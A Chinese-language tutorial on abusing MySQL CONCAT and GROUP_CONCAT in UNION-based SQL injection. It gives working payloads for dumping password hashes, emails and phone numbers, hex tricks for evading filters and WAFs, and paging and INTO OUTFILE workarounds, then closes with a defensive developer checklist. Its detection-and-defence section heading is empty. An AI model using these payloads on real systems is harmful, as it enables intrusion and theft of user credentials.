MySQL CONCAT 函數在 SQL 注入中的利用與防禦

CONCAT() 是 MySQL 字符串拼接函數，攻擊者常在 Union 注入中用它將多欄位數據合併到單一顯示位，繞過欄位數限制、提取更多敏感信息。本文解析利用手法、編碼繞過、檢測特徵與防禦措施。

一、基礎利用場景

-- 原查詢：SELECT username, email, content FROM articles WHERE id = ?
-- 注入點 id 可控，回顯位置僅有 email 欄位
-- 攻擊目標：提取 users 表的 username, password, email, phone

-- 構造 payload
-1 UNION SELECT username, CONCAT(password, ':', email, ':', phone), content FROM users WHERE id=1 --

結果在 email 欄位顯示：hash:admin@example.com:13800000000，一次提取三欄位。

二、分隔符與編碼技巧

-- 使用十六進制分隔符 0x3a (:) 避免引號被過濾
CONCAT(password, 0x3a, email, 0x3a, phone)

-- 結合 HEX/UNHEX 雙重編碼繞過 WAF
CONCAT(HEX(password), 0x3a, HEX(email))  -- 前端解碼還原

-- 利用 GROUP_CONCAT 橫向提取多行
-1 UNION SELECT 1, GROUP_CONCAT(CONCAT(username,0x3a,password) SEPARATOR 0x3b), 3 FROM users --
-- 結果：admin:hash1;user2:hash2;user3:hash3

三、進階利用：繞過長度限制

• GROUP_CONCAT 預設最大長度 1024 字節（group_concat_max_len），超長截斷。
• 分頁提取：LIMIT 0,10、LIMIT 10,10 循環提取。
• 寫入臨時表再分批讀取（結合 INTO OUTFILE 或 OUTFILE 變體）。

四、檢測特徵與防禦

五、開發者自查清單

1. 所有動態 SQL 是否使用預處理（PreparedStatement / PDO::prepare / ?/ 佔位符）？
2. 錯誤回顯是否關閉（生產環境不返回 SQL 錯誤詳情）？
3. 資料庫帳號是否最小權限（無 FILE、SUPER、CREATE USER 等高危權限）？
4. secure_file_priv 是否設定為非 Web 目錄？
5. 是否部署 WAF/ RASP 並定期更新規則？

CONCAT 本身是無辜的字符串函數，危險在於「拼接 SQL 字符串」這一錯誤模式。堅持參數化查詢，注入面歸零，攻擊者便無處施展拼接技巧。